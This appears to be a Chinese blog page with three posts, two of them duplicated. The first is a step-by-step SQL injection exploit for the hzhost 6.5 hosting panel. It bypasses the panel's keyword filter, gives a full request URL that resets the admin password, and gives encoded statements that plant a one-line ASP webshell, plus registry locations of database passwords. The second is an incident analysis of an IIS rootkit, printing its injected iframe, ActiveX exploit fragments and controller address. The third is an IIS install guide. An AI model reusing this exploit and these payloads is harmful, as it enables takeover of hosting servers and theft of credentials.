Feb
13
作者：叉叉兵
这次继续爆hzhost6.5虚拟主机管理系统的SQL注入漏洞。
只讲两个要点。
第一，如何拿网站管理员权限。
第二，如何备份木马。
这次不是简单的注射点，而是经过安全函数过滤的了点。由于对方
没有将变量用单引号包起来，而过滤函数又未过滤完全
，导致我们有机会进行注射。
我这次还做了个动画。一并发放。希望能让大家玩得"happy"!哈哈。。。
httP://www.xxbing.com
QQ178737315
漏洞存在于
\hzhost\hzhost_master\control\ot2_mng\ot2_lst.asp
文件中！
-------------------------13-15行----------------------------
querytype=SafeRequest("querytype") //saferequest函数接受数据
if chk_int(querytype)=false then //检查是否是整数
ErrMsg="对不起，非法操作！..."
-------------------------37-42行---------------------------
elseif querytype=5 then //如果类型为5。就接受qu1数据！
qu1=trim(SafeRequest("qu1")) //saferequest函数接受数据，他自己定义的saferequest函数！
if qu1="" then //不能为空
call errorpage(-2,"对不起，请选择参数！")
end if
qstring
=" and s_regstt=
"&qu1&"
" //这里是关键 qu1没有用单引号包围，
虽然用了saferequest，但是我们可以绕过！
-------------------------62-65行---------------------------
qu7=trim(SafeRequest("qu7")) //saferequest函数接受数据
if qu7"" then
qstring2
=" and u_nme=
'"&qu7&"'
" //这里被单引号包围了。 这里被包围了，所以这里成了死点！！
end if
--------------------------117行-----------------------------
query="select * from v_ot2lst where (s_unme='"&session("usrname")&"' or u_fatstr like '%,"&session("usrname")&",%')
"&qstring&qstring2&"
order by "&orderstring
//到这里就丢进去查询了！
来看看saferequest()函数。
------------------incs/config.asp中-------------------------
Function SafeRequest(ParaName)
Dim ParaValue
ParaValue=Request(ParaName) //获取数据
if IsNumeric(ParaValue) then //如果是数字
SafeRequest=ParaValue //那就不过滤，直接赋值
exit Function
else
ParaValuetemp=lcase(ParaValue) //如果不是数字，先把接到的数据全部转为小写
tempvalue="select |insert |delete from|'|count(|drop table|update |truncate |asc(|mid(|char(|xp_cmdshell|exec master|net localgroup administrators|net user| or | and |%20from"
//定义要过滤的字符！
他过滤方式有问题。。。没有过滤 * / % / -- / ;
而且他过滤的都是select+空格。我们用select%09或者select/**/便能饶过。
temps=split(tempvalue,"|") //转为一维数组
for mycount=0 to ubound(temps) //循环读数组内数据
if Instr(ParaValuetemp,temps(mycount)) > 0 then //判断用户提交的数据是否包含了 非法字符。
call errorpage(-2,"非法请求！！！") //如果有则弹出提示！！
response.end
end if
next
SafeRequest=ParaValue
end if
End function
-------------------------------------
所以我们构造注射点的思路就是：不能出现单引号，update,select等等两边都要用%09（tab）..
仔细看清楚。上面过滤的是update+空格。select+空格。
先给出查询语句的框架。
select * from v_ot2lst where (s_unme='username' or u_fatstr like '%,username,%') and s_regstt={我们的语句} and u_nme='1' order by s_addtme desc
为了使语句顺利执行：
我们还要闭合后面的语句。我没有选择注释掉 and u_nme='1' order by s_addtme desc而是闭合他，是因为注释后，实际查询出错了。
这里我给出条示范语句，即{我们的语句}
Update%09[memlst] SET u_pss=0x6531306164633339343962613539616262653536653035376632306638383365 Where u_nme=0x61646D696E
这条语句能够绕过saferequest函数的检测。没有出现单引号。
我们提交：
http://www.xxxxxx.com/control/ot2_mng/ot2_lst.asp?querytype=5&qu7=1&ordernum=32&qu1=1
;Update%09[memlst] SET u_pss=0x6531306164633339343962613539616262653536653035376632306638383365 Where u_nme=0x61646D696E;select%09*%09from%09v_ot2lst where s_regstt=1;select%09*%09from%09v_ot2lst where s_regstt=1
这句话就能够将admin的密码修改成123456
到此第一个目的就达到了。如果admin不是超级管理员。那么请看
《HZHOST域名虚拟主机管理系统sql注射漏洞》
中所提到的方法。相关语句请自己转换。
第二步是要备份挂马。
大家看动画中的备马这么简单，当初难了我老半天。saferequest过滤了
char(
导致备马的这条语句失败。
declare @a sysname,@s var
char(
4000) select @a=db_name(),@s=。。。。。。。。。
有人给我建议改成 @s ntext 等等，换类型都不行。因为我们插入的一句话木马已经固定了数据类型。。
由于mssql的宽松性。我把varchar(40000)中加了个空格。并把空格替换成%09成为 varchar%09(4000)，也是可以的。这样我们就饶过了char(
接下来放出详细语句。大家放入{我们的语句中}
第 一 步:
create table [dbo].[shit_tmp] ([cmd] [image])--
第 二 步
declare @a sysname,@s nvarchar%09(4000)%09select%09@a=db_name(),@s=0x7900690061006F006C007500 backup log @a to disk = @s with init,no_truncate--
第 三 步
insert%09into%09[shit_tmp](cmd) values(0x3C25657865637574652872657175657374282261222929253E)--
第 四 步
declare @a sysname,@s nvarchar%09(4000)%09select%09@a=db_name(),@s=0x44003A005C0068007A0068006F00730074005C0068007A0068006F00730074005F006D00610073007400650072005C0031002E00610073007000 backup log @a to disk=@s--
第 五 步
Drop table [shit_tmp]--
上面5句语句是在d:/hzhost/hzhost_master/下生成一个1.asp。里面包含了一个密码为a的一句话木马。
一般来说，我们就能拿到webshell. 至于拿webshell后，如何取得系统权限。
请看
《对HZHOST域名虚拟主机管理系统sql注射漏洞进一步利用！》
最后是答疑部分：
1:这次是get注射，不像上次是post注射。由于没有文本框字符的限制，所以不需要保存网页到本地。
2:123456的md5(32)值为e10adc3949ba59abbe56e057f20f883e 用mssql 16进制转换后，成为 0x65003100300061006400630033003900340039006200610035003900610062006200650035003600650030003500370066003200300066003800380033006500
这是转为nvarchar型的，我们直接更新这个值。会导致被更新用户的密码为乱码。所以我们要转成varchar型的。即：
0x6531306164633339343962613539616262653536653035376632306638383365
大家仔细观察，会发现，其实只是去掉了一些00。。
所以大家在转换其他md5的时候，注意此问题。
3:读sa密码,root密码。我们读的是加密了的。还原必须在本机，每台hzhost主机都有自己的密钥，密钥参与到加密过程。这是导致A主机不能还原B主机密码的原因。
另 hzhost虚拟主机平台的所有dll文件。还有一些注册表值我都已取得。有会逆向分析的高手，能做出还原密码程序的高手请联系我。我很希望把他的加密方式弄出来。
4:备马的问题，备份成功后，可能出现乱码，是由于截断了的原因，大家用NBSI3。去掉2个截断的勾，再生成语句执行就行了。
有的服务器可能在备马的过程中出现SQL过期，超时。遇到这样的是对方数据库很大，这我也没办法。我没能找出一个比较好的解决方案。大家自己研究吧。
5：hzhost其实不只这一个注射点，没被单引号包围的变量还有一些。大家自己去找吧。我只是拿出一个来分析。
6：:
sa密码。root密码。
HKEY_LOCAL_MACHINE\software\hzhost\config\settings\
mysqlpass---root密码
mssqlpss----sa密码
7.如果路径不在D:/hzhost
那么就是你人品问题！进后台找找普通用户FTP/web的路径，也许会有些用。
或者去读注册表。
HKEY_LOCAL_MACHINE\software\hzhost\config\settings\ 下
"wwwrootpath"="e:\\wwwroot"
"urlsiteroot"="D:\\hzhost\\hzhost_url"
"ftprootpath"="e:\\ftproot" 可以看出什么？ 绝对路径放在注册表中。把注册表中的值更新到某个字段，再去读就行了。（比如用户e-mail中。。）
大家自己去试。我没有碰到不在D盘的hzhost.。只是个思路！
利用动画下载地址（送给菜鸟同学们，能看懂文章的大不必下载，只是把文章的内容完全演示了一遍。）
hzhost最新漏洞.rar
饿。纳米盘速度可能不咋地。但是由于偶的空间FTP坏了。所以，只能放到这里。抱歉啊！！
最后，还是版权。
http://www.xxbing.com
QQ178737315
允许自由转载。但请注明作者。
这次继续爆hzhost6.5虚拟主机管理系统的SQL注入漏洞。
只讲两个要点。
第一，如何拿网站管理员权限。
第二，如何备份木马。
这次不是简单的注射点，而是经过安全函数过滤的了点。由于对方
没有将变量用单引号包起来，而过滤函数又未过滤完全
，导致我们有机会进行注射。
我这次还做了个动画。一并发放。希望能让大家玩得"happy"!哈哈。。。
httP://www.xxbing.com
QQ178737315
漏洞存在于
\hzhost\hzhost_master\control\ot2_mng\ot2_lst.asp
文件中！
-------------------------13-15行----------------------------
querytype=SafeRequest("querytype") //saferequest函数接受数据
if chk_int(querytype)=false then //检查是否是整数
ErrMsg="对不起，非法操作！..."
-------------------------37-42行---------------------------
elseif querytype=5 then //如果类型为5。就接受qu1数据！
qu1=trim(SafeRequest("qu1")) //saferequest函数接受数据，他自己定义的saferequest函数！
if qu1="" then //不能为空
call errorpage(-2,"对不起，请选择参数！")
end if
qstring
=" and s_regstt=
"&qu1&"
" //这里是关键 qu1没有用单引号包围，
虽然用了saferequest，但是我们可以绕过！
-------------------------62-65行---------------------------
qu7=trim(SafeRequest("qu7")) //saferequest函数接受数据
if qu7"" then
qstring2
=" and u_nme=
'"&qu7&"'
" //这里被单引号包围了。 这里被包围了，所以这里成了死点！！
end if
--------------------------117行-----------------------------
query="select * from v_ot2lst where (s_unme='"&session("usrname")&"' or u_fatstr like '%,"&session("usrname")&",%')
"&qstring&qstring2&"
order by "&orderstring
//到这里就丢进去查询了！
来看看saferequest()函数。
------------------incs/config.asp中-------------------------
Function SafeRequest(ParaName)
Dim ParaValue
ParaValue=Request(ParaName) //获取数据
if IsNumeric(ParaValue) then //如果是数字
SafeRequest=ParaValue //那就不过滤，直接赋值
exit Function
else
ParaValuetemp=lcase(ParaValue) //如果不是数字，先把接到的数据全部转为小写
tempvalue="select |insert |delete from|'|count(|drop table|update |truncate |asc(|mid(|char(|xp_cmdshell|exec master|net localgroup administrators|net user| or | and |%20from"
//定义要过滤的字符！
他过滤方式有问题。。。没有过滤 * / % / -- / ;
而且他过滤的都是select+空格。我们用select%09或者select/**/便能饶过。
temps=split(tempvalue,"|") //转为一维数组
for mycount=0 to ubound(temps) //循环读数组内数据
if Instr(ParaValuetemp,temps(mycount)) > 0 then //判断用户提交的数据是否包含了 非法字符。
call errorpage(-2,"非法请求！！！") //如果有则弹出提示！！
response.end
end if
next
SafeRequest=ParaValue
end if
End function
-------------------------------------
所以我们构造注射点的思路就是：不能出现单引号，update,select等等两边都要用%09（tab）..
仔细看清楚。上面过滤的是update+空格。select+空格。
先给出查询语句的框架。
select * from v_ot2lst where (s_unme='username' or u_fatstr like '%,username,%') and s_regstt={我们的语句} and u_nme='1' order by s_addtme desc
为了使语句顺利执行：
我们还要闭合后面的语句。我没有选择注释掉 and u_nme='1' order by s_addtme desc而是闭合他，是因为注释后，实际查询出错了。
这里我给出条示范语句，即{我们的语句}
Update%09[memlst] SET u_pss=0x6531306164633339343962613539616262653536653035376632306638383365 Where u_nme=0x61646D696E
这条语句能够绕过saferequest函数的检测。没有出现单引号。
我们提交：
http://www.xxxxxx.com/control/ot2_mng/ot2_lst.asp?querytype=5&qu7=1&ordernum=32&qu1=1
;Update%09[memlst] SET u_pss=0x6531306164633339343962613539616262653536653035376632306638383365 Where u_nme=0x61646D696E;select%09*%09from%09v_ot2lst where s_regstt=1;select%09*%09from%09v_ot2lst where s_regstt=1
这句话就能够将admin的密码修改成123456
到此第一个目的就达到了。如果admin不是超级管理员。那么请看
《HZHOST域名虚拟主机管理系统sql注射漏洞》
中所提到的方法。相关语句请自己转换。
第二步是要备份挂马。
大家看动画中的备马这么简单，当初难了我老半天。saferequest过滤了
char(
导致备马的这条语句失败。
declare @a sysname,@s var
char(
4000) select @a=db_name(),@s=。。。。。。。。。
有人给我建议改成 @s ntext 等等，换类型都不行。因为我们插入的一句话木马已经固定了数据类型。。
由于mssql的宽松性。我把varchar(40000)中加了个空格。并把空格替换成%09成为 varchar%09(4000)，也是可以的。这样我们就饶过了char(
接下来放出详细语句。大家放入{我们的语句中}
第 一 步:
create table [dbo].[shit_tmp] ([cmd] [image])--
第 二 步
declare @a sysname,@s nvarchar%09(4000)%09select%09@a=db_name(),@s=0x7900690061006F006C007500 backup log @a to disk = @s with init,no_truncate--
第 三 步
insert%09into%09[shit_tmp](cmd) values(0x3C25657865637574652872657175657374282261222929253E)--
第 四 步
declare @a sysname,@s nvarchar%09(4000)%09select%09@a=db_name(),@s=0x44003A005C0068007A0068006F00730074005C0068007A0068006F00730074005F006D00610073007400650072005C0031002E00610073007000 backup log @a to disk=@s--
第 五 步
Drop table [shit_tmp]--
上面5句语句是在d:/hzhost/hzhost_master/下生成一个1.asp。里面包含了一个密码为a的一句话木马。
一般来说，我们就能拿到webshell. 至于拿webshell后，如何取得系统权限。
请看
《对HZHOST域名虚拟主机管理系统sql注射漏洞进一步利用！》
最后是答疑部分：
1:这次是get注射，不像上次是post注射。由于没有文本框字符的限制，所以不需要保存网页到本地。
2:123456的md5(32)值为e10adc3949ba59abbe56e057f20f883e 用mssql 16进制转换后，成为 0x65003100300061006400630033003900340039006200610035003900610062006200650035003600650030003500370066003200300066003800380033006500
这是转为nvarchar型的，我们直接更新这个值。会导致被更新用户的密码为乱码。所以我们要转成varchar型的。即：
0x6531306164633339343962613539616262653536653035376632306638383365
大家仔细观察，会发现，其实只是去掉了一些00。。
所以大家在转换其他md5的时候，注意此问题。
3:读sa密码,root密码。我们读的是加密了的。还原必须在本机，每台hzhost主机都有自己的密钥，密钥参与到加密过程。这是导致A主机不能还原B主机密码的原因。
另 hzhost虚拟主机平台的所有dll文件。还有一些注册表值我都已取得。有会逆向分析的高手，能做出还原密码程序的高手请联系我。我很希望把他的加密方式弄出来。
4:备马的问题，备份成功后，可能出现乱码，是由于截断了的原因，大家用NBSI3。去掉2个截断的勾，再生成语句执行就行了。
有的服务器可能在备马的过程中出现SQL过期，超时。遇到这样的是对方数据库很大，这我也没办法。我没能找出一个比较好的解决方案。大家自己研究吧。
5：hzhost其实不只这一个注射点，没被单引号包围的变量还有一些。大家自己去找吧。我只是拿出一个来分析。
6：:
sa密码。root密码。
HKEY_LOCAL_MACHINE\software\hzhost\config\settings\
mysqlpass---root密码
mssqlpss----sa密码
7.如果路径不在D:/hzhost
那么就是你人品问题！进后台找找普通用户FTP/web的路径，也许会有些用。
或者去读注册表。
HKEY_LOCAL_MACHINE\software\hzhost\config\settings\ 下
"wwwrootpath"="e:\\wwwroot"
"urlsiteroot"="D:\\hzhost\\hzhost_url"
"ftprootpath"="e:\\ftproot" 可以看出什么？ 绝对路径放在注册表中。把注册表中的值更新到某个字段，再去读就行了。（比如用户e-mail中。。）
大家自己去试。我没有碰到不在D盘的hzhost.。只是个思路！
利用动画下载地址（送给菜鸟同学们，能看懂文章的大不必下载，只是把文章的内容完全演示了一遍。）
hzhost最新漏洞.rar
饿。纳米盘速度可能不咋地。但是由于偶的空间FTP坏了。所以，只能放到这里。抱歉啊！！
最后，还是版权。
http://www.xxbing.com
QQ178737315
允许自由转载。但请注明作者。
Feb
13
1、
首先是发现浏览该服务器网页时，最底端加入了一段iframe：
http://bh.jebooo.com/3002.htm
追查该代码，关键字：
BD96C556-65A3-11D0-983A-00C04FC29
var real=new ActiveXObject("IERPCtl.IERPCtl.1");
var storm=new window["ActiveXObject"]("MP"+"S.S"+"tor"+"mPl"+"ayer");
var Lz=new ActiveXObject("GLC"+"HAT.G"+"LCh"+"atC"+"trl.1");
function GetCookie_cnzz(name)
应该是利用了ie的一些activex漏洞进行种木马和刷流量的操作
2、
追查工作暂时放到一边，首要问题是解决服务器异常
最开始是怀疑有arp攻击，登录到服务器上查看
arp -a得到网关mac，与正确的网关mac一致，windump抓包
windump -X -i 3 -n arp
也没有发现异常arp广播
检查web文件，也正常，底部并没有加码
初步确定是服务器本身有问题
3、
继续抓包，查看http包
windump -X -i 3 -s 65535 -n host **.**.**.** and port 80
发现在正常的页面请求结束前，被插入了一段
10:06:39.430635 IP xx.xx.xx.xx.80 > yy.yy.yy.yy.2407: P 254:325(71) ack 417
win 65119
0x0000: 4500 006f 1251 4000 8006 d0c4 d233 b9ca [email protected]..
0x0010: d233 b941 0050 0967 fddc 6d08 11ce dc82 .3.A.P.g..m.....
0x0020: 5018 fe5f 17d5 0000 0d0a 3c69 6672 616d P.._......<ifram
0x0030: 6520 7372 633d 6874 7470 3a2f 2f62 682e e.src=http://bh.
0x0040: 6a65 626f 6f6f 2e63 6f6d 2f33 3030 322e jebooo.com/3002.
0x0050: 6874 6d20 7769 6474 683d 3020 6865 6967 htm.width=0.heig
0x0060: 6874 3d30 3e3c 2f69 6672 616d 653e 00 ht=0></iframe>.
正是页面底部被嵌入的iframe
这说明服务器的iis进程或网卡驱动被hook，在侦测到某种类型文件的http请求后，在传输结束前挂马
4、
检查服务器，查看进程、服务、N处注册表启动项、系统帐号
均未发现异常
请出icesword，检查内核模块，发现两个可疑的家伙
XFKnrl.sys 和 rvdport.sys
文件路径都是system32\drivers\，但到该目录下查找并没有这两个文件，基本能确定是rootkit了
正常的内核模块没必要隐藏自己
procexp搜索全部进程的handle，果然
发现在inetinfo进程中有 \device\XFKnrl加载项，iis被插了！
5、
用Wsyscheck和RkUnhooker再进一步检查内核模块和驱动
除了icesword查到的两个sys之外再没有其他发现
ssdt和fsd的各个函数也没有被hook的报告
NtQueryDirectoryFile
NtQuerySystemInformation
NtDeviceIoControlFile
都正常！
但在wsyscheck的“安全检查”-“端口状态”中发现，进程inetinfo每几秒就向61.164.176.139：3002发syn
12:01:20.108071 IP xx.xx.xx.xx.4627 > 61.164.176.139.3002: S 3273827924:32738
27924(0) win 65535 <mss 1460,nop,nop,sackOK>
0x0000: 4500 0030 125f 4000 8006 6e3b d233 b9ca [email protected];.3..
0x0010: 3da4 b08b 1213 0bba c322 a654 0000 0000 =........".T....
0x0020: 7002 ffff 81ad 0000 0204 05b4 0101 0402 p...............
12:01:20.180418 IP 61.164.176.139.3002 > xx.xx.xx.xx.4627: R 0:0(0) ack 1 win
0
0x0000: 4500 0028 0186 0000 7306 cc1c 3da4 b08b E..(....s...=...
0x0010: d233 b9ca 0bba 1213 0000 0000 c322 a655 .3...........".U
0x0020: 5014 0000 ae5d 0000 aaaa 0000 aaaa P....]........
12:01:22.592705 IP xx.xx.xx.xx.4628 > 61.164.176.139.3002: S 1189036599:11890
36599(0) win 65535 <mss 1460,nop,nop,sackOK>
0x0000: 4500 0030 126a 4000 8006 6e30 d233 b9ca [email protected]..
0x0010: 3da4 b08b 1214 0bba 46df 4237 0000 0000 =.......F.B7....
0x0020: 7002 ffff 620d 0000 0204 05b4 0101 0402 p...b...........
12:01:22.654909 IP 61.164.176.139.3002 > xx.xx.xx.xx.4628: R 0:0(0) ack 11890
36600 win 0
0x0000: 4500 0028 2deb 0000 7306 9fb7 3da4 b08b E..(-...s...=...
0x0010: d233 b9ca 0bba 1214 0000 0000 46df 4238 .3..........F.B8
0x0020: 5014 0000 8ebd 0000 aaaa 0000 aaaa P.............
61.164.176.139基本可以确定就是rootkit的控制端了
6、
google了一下XFKnrl，没发现太多有用的信息
只好先在system32\drivers\下建立两个0字节的文件XFKnrl.sys 和 rvdport.sys
删除所有文件权限，重启
web页面挂马问题消失，内核模块XFKnrl和rvdport也都没有加载
但进程inetinfo依然向61.164.176.139：3002发包！
先用组策略ipsec封掉到61.164.176.0/24网段和端口3002的通讯
继续检查系统
7、
再次procexp搜索全部进程的handle，没有发现XFKrnl和rvdport的踪影
又检查了一遍内核模块和驱动，没有新发现
目标锁定在了inetinfo进程上
用wsyscheck查inetinfo的线程信息，对比其他正常服务器的该项信息
发现异常线程iisecnv.dll
procexp搜索全部进程的dll，发现iisecnv.dll 插入到了inetinfo.exe和 w3wp.exe中
结束该线程后，inetinfo停止向61.164.176.139：3002发包！
但随后检查内核模块时发现，XFKnrl居然又被加载了！
这至少证明了iisecnv.dll和XFKnrl.sys的关系
8、
搜索注册表iisecnv.dll，发现
[HKEY_CURRENT_USER\Software\Microsoft\Search Assistant\ACMru\5603]
"000"="iisecnv.dll"
"001"="mswsock.dll"
"002"="ntdll.dll"
"003"="ntkrnlpa.exe"
"004"="*.gif"
"005"="usbcams3.sys"
"006"="AtiSrv.exe"
"007"="usbhcid.sys"
"008"="*.exe"
[HKEY_CURRENT_USER\Software\Microsoft\Search Assistant\ACMru\5604]
"000"="jebooo"
"001"="bh.jebooo.com"
"002"="xf.jebooo.com"
9、
终极操作：
在system32\drivers\下建立两个0字节的文件XFKnrl.sys 和 rvdport.sys删除所有文件权限
删除注册表中相关项和文件
用wsyscheck的“重启后删除文件”功能，添加c:/windows/system32/inetsrv/iisecnv.dll，重启
内核模块XFKnrl.sys和rvdport.sys没有被加载，inetinfo进程也不再发包，但IIS崩溃了！
重新安装iis，恢复.net2.0的web扩展服务，重建web站点，貌似一切恢复正常了。
10、
把iisecnv.dll抓到本地，IDA pro分析
基本功能大致包括了：
httpfilter-过滤http协议
hook \\inetsrv\wamreg.dll
加载驱动 system32\drivers\XFKnrl.sys
调用cmd.exe
md5filt
aspnet_filter
CopyFileA DeleteFileA 隐藏和删除文件
大概能知道这个XFKnrl rootkit都做了些什么，它没有做隐藏进程和端口的操作，对文件也只是在内核模块加载到内存高位后进行删除操作，
所以查ssdt没有什么发现是正常的，开始我还以为真的有这么NB的rootkit可以绕过icesword、wsyscheck和RkUnhooker的检查呢！
主要的功能就是过滤http协议，外加得到一个反弹的shell，如果不是它的驱动是运行在kernel模式，还真不好意思叫它ring0 ！
11、
后续问题：
先去拜访一下61.164.176.139
inetnum: 61.164.176.128 - 61.164.176.143
netname: YIWU-RONGJI-BUISNESS
country: CN
descr: Yiwu Rongji Handware Buisness
该段里有个应用系统
http://www.lunababe.com/
估计也是漏洞一大堆，有兴趣的可以去看一下，也许能搞到XFKnrl的控制端，哈哈~
12、
唠叨几句：
中了rootkit最好还是重装
测试用服务器正式上线前最好也是重装
防火墙外运行的服务器拿到里边来之前最好也重装
尽量用从可靠途径获得的系统软件
首先是发现浏览该服务器网页时，最底端加入了一段iframe：
http://bh.jebooo.com/3002.htm
追查该代码，关键字：
BD96C556-65A3-11D0-983A-00C04FC29
var real=new ActiveXObject("IERPCtl.IERPCtl.1");
var storm=new window["ActiveXObject"]("MP"+"S.S"+"tor"+"mPl"+"ayer");
var Lz=new ActiveXObject("GLC"+"HAT.G"+"LCh"+"atC"+"trl.1");
function GetCookie_cnzz(name)
应该是利用了ie的一些activex漏洞进行种木马和刷流量的操作
2、
追查工作暂时放到一边，首要问题是解决服务器异常
最开始是怀疑有arp攻击，登录到服务器上查看
arp -a得到网关mac，与正确的网关mac一致，windump抓包
windump -X -i 3 -n arp
也没有发现异常arp广播
检查web文件，也正常，底部并没有加码
初步确定是服务器本身有问题
3、
继续抓包，查看http包
windump -X -i 3 -s 65535 -n host **.**.**.** and port 80
发现在正常的页面请求结束前，被插入了一段
10:06:39.430635 IP xx.xx.xx.xx.80 > yy.yy.yy.yy.2407: P 254:325(71) ack 417
win 65119
0x0000: 4500 006f 1251 4000 8006 d0c4 d233 b9ca [email protected]..
0x0010: d233 b941 0050 0967 fddc 6d08 11ce dc82 .3.A.P.g..m.....
0x0020: 5018 fe5f 17d5 0000 0d0a 3c69 6672 616d P.._......<ifram
0x0030: 6520 7372 633d 6874 7470 3a2f 2f62 682e e.src=http://bh.
0x0040: 6a65 626f 6f6f 2e63 6f6d 2f33 3030 322e jebooo.com/3002.
0x0050: 6874 6d20 7769 6474 683d 3020 6865 6967 htm.width=0.heig
0x0060: 6874 3d30 3e3c 2f69 6672 616d 653e 00 ht=0></iframe>.
正是页面底部被嵌入的iframe
这说明服务器的iis进程或网卡驱动被hook，在侦测到某种类型文件的http请求后，在传输结束前挂马
4、
检查服务器，查看进程、服务、N处注册表启动项、系统帐号
均未发现异常
请出icesword，检查内核模块，发现两个可疑的家伙
XFKnrl.sys 和 rvdport.sys
文件路径都是system32\drivers\，但到该目录下查找并没有这两个文件，基本能确定是rootkit了
正常的内核模块没必要隐藏自己
procexp搜索全部进程的handle，果然
发现在inetinfo进程中有 \device\XFKnrl加载项，iis被插了！
5、
用Wsyscheck和RkUnhooker再进一步检查内核模块和驱动
除了icesword查到的两个sys之外再没有其他发现
ssdt和fsd的各个函数也没有被hook的报告
NtQueryDirectoryFile
NtQuerySystemInformation
NtDeviceIoControlFile
都正常！
但在wsyscheck的“安全检查”-“端口状态”中发现，进程inetinfo每几秒就向61.164.176.139：3002发syn
12:01:20.108071 IP xx.xx.xx.xx.4627 > 61.164.176.139.3002: S 3273827924:32738
27924(0) win 65535 <mss 1460,nop,nop,sackOK>
0x0000: 4500 0030 125f 4000 8006 6e3b d233 b9ca [email protected];.3..
0x0010: 3da4 b08b 1213 0bba c322 a654 0000 0000 =........".T....
0x0020: 7002 ffff 81ad 0000 0204 05b4 0101 0402 p...............
12:01:20.180418 IP 61.164.176.139.3002 > xx.xx.xx.xx.4627: R 0:0(0) ack 1 win
0
0x0000: 4500 0028 0186 0000 7306 cc1c 3da4 b08b E..(....s...=...
0x0010: d233 b9ca 0bba 1213 0000 0000 c322 a655 .3...........".U
0x0020: 5014 0000 ae5d 0000 aaaa 0000 aaaa P....]........
12:01:22.592705 IP xx.xx.xx.xx.4628 > 61.164.176.139.3002: S 1189036599:11890
36599(0) win 65535 <mss 1460,nop,nop,sackOK>
0x0000: 4500 0030 126a 4000 8006 6e30 d233 b9ca [email protected]..
0x0010: 3da4 b08b 1214 0bba 46df 4237 0000 0000 =.......F.B7....
0x0020: 7002 ffff 620d 0000 0204 05b4 0101 0402 p...b...........
12:01:22.654909 IP 61.164.176.139.3002 > xx.xx.xx.xx.4628: R 0:0(0) ack 11890
36600 win 0
0x0000: 4500 0028 2deb 0000 7306 9fb7 3da4 b08b E..(-...s...=...
0x0010: d233 b9ca 0bba 1214 0000 0000 46df 4238 .3..........F.B8
0x0020: 5014 0000 8ebd 0000 aaaa 0000 aaaa P.............
61.164.176.139基本可以确定就是rootkit的控制端了
6、
google了一下XFKnrl，没发现太多有用的信息
只好先在system32\drivers\下建立两个0字节的文件XFKnrl.sys 和 rvdport.sys
删除所有文件权限，重启
web页面挂马问题消失，内核模块XFKnrl和rvdport也都没有加载
但进程inetinfo依然向61.164.176.139：3002发包！
先用组策略ipsec封掉到61.164.176.0/24网段和端口3002的通讯
继续检查系统
7、
再次procexp搜索全部进程的handle，没有发现XFKrnl和rvdport的踪影
又检查了一遍内核模块和驱动，没有新发现
目标锁定在了inetinfo进程上
用wsyscheck查inetinfo的线程信息，对比其他正常服务器的该项信息
发现异常线程iisecnv.dll
procexp搜索全部进程的dll，发现iisecnv.dll 插入到了inetinfo.exe和 w3wp.exe中
结束该线程后，inetinfo停止向61.164.176.139：3002发包！
但随后检查内核模块时发现，XFKnrl居然又被加载了！
这至少证明了iisecnv.dll和XFKnrl.sys的关系
8、
搜索注册表iisecnv.dll，发现
[HKEY_CURRENT_USER\Software\Microsoft\Search Assistant\ACMru\5603]
"000"="iisecnv.dll"
"001"="mswsock.dll"
"002"="ntdll.dll"
"003"="ntkrnlpa.exe"
"004"="*.gif"
"005"="usbcams3.sys"
"006"="AtiSrv.exe"
"007"="usbhcid.sys"
"008"="*.exe"
[HKEY_CURRENT_USER\Software\Microsoft\Search Assistant\ACMru\5604]
"000"="jebooo"
"001"="bh.jebooo.com"
"002"="xf.jebooo.com"
9、
终极操作：
在system32\drivers\下建立两个0字节的文件XFKnrl.sys 和 rvdport.sys删除所有文件权限
删除注册表中相关项和文件
用wsyscheck的“重启后删除文件”功能，添加c:/windows/system32/inetsrv/iisecnv.dll，重启
内核模块XFKnrl.sys和rvdport.sys没有被加载，inetinfo进程也不再发包，但IIS崩溃了！
重新安装iis，恢复.net2.0的web扩展服务，重建web站点，貌似一切恢复正常了。
10、
把iisecnv.dll抓到本地，IDA pro分析
基本功能大致包括了：
httpfilter-过滤http协议
hook \\inetsrv\wamreg.dll
加载驱动 system32\drivers\XFKnrl.sys
调用cmd.exe
md5filt
aspnet_filter
CopyFileA DeleteFileA 隐藏和删除文件
大概能知道这个XFKnrl rootkit都做了些什么，它没有做隐藏进程和端口的操作，对文件也只是在内核模块加载到内存高位后进行删除操作，
所以查ssdt没有什么发现是正常的，开始我还以为真的有这么NB的rootkit可以绕过icesword、wsyscheck和RkUnhooker的检查呢！
主要的功能就是过滤http协议，外加得到一个反弹的shell，如果不是它的驱动是运行在kernel模式，还真不好意思叫它ring0 ！
11、
后续问题：
先去拜访一下61.164.176.139
inetnum: 61.164.176.128 - 61.164.176.143
netname: YIWU-RONGJI-BUISNESS
country: CN
descr: Yiwu Rongji Handware Buisness
该段里有个应用系统
http://www.lunababe.com/
估计也是漏洞一大堆，有兴趣的可以去看一下，也许能搞到XFKnrl的控制端，哈哈~
12、
唠叨几句：
中了rootkit最好还是重装
测试用服务器正式上线前最好也是重装
防火墙外运行的服务器拿到里边来之前最好也重装
尽量用从可靠途径获得的系统软件
Feb
13
今天重装了系统想试试IIS6就安装了个IIS6，因为XP系统没自带iis6，只有一个iis5.01。下面是xp下安装iis6.0的步骤：
1.因为系统盘没有自带iis6.0,所以得下一个完整的iis6.0安装包（一定要完整的不要缺少文件的，不然后面很麻烦），并解压。注：iis6安装包完整文件自己到百度，google找找吧，说实话我也没找到很完整的安装包，所以装到最后不是缺这文件就缺那个文件。这里BS下那些提供下的网站，给的都是残次品。（推荐下载点http://down.cnzui.com/downinfo/39.html）
2、在c:\Windows\inf目录（c为Windows XP的盘符）下打开安装信息文件sysoc.inf，
在[Components]区域中自己添加iis=iis.dll,OcEntry,iis.inf,7这一行。 保存退出。
3、在iis6.0安装包中找到iis.dl_和iis.if_两个文件，一起拷贝到硬盘某个目录（如C:\）。打开开始菜单中的“命令提示符”，使用Expand命令解开iis.dl_和iis.if_，命令格式为：
expand C:\iis.dl_ C:\iis2.dll
expand C:\iis.in_ C:\iis2.inf
完成后，C盘目录下会生成iis2.dll和iis2.inf两个新文件。
4、最后，分别将iis2.inf和iis2.dll两个文件相应拷入c:\Windows\inf和c:\Windows\system32\Setup系统目录。
至此，在“添加/删除程序”中点击“添加/删除Windows组件”，你会兴奋的发现，久违的Internet信息服务（IIS）重新出现了！接下来就是循规蹈矩安装IIS。但需要提醒一点，在安装过程中若跳出定位相关文件时，请把目录指向iis6.0安装包所在目录。如果下的IIS6.0是完整版的，恭喜你，你应该已经成功安装了。后面是没有下载到完整版的解决办法，
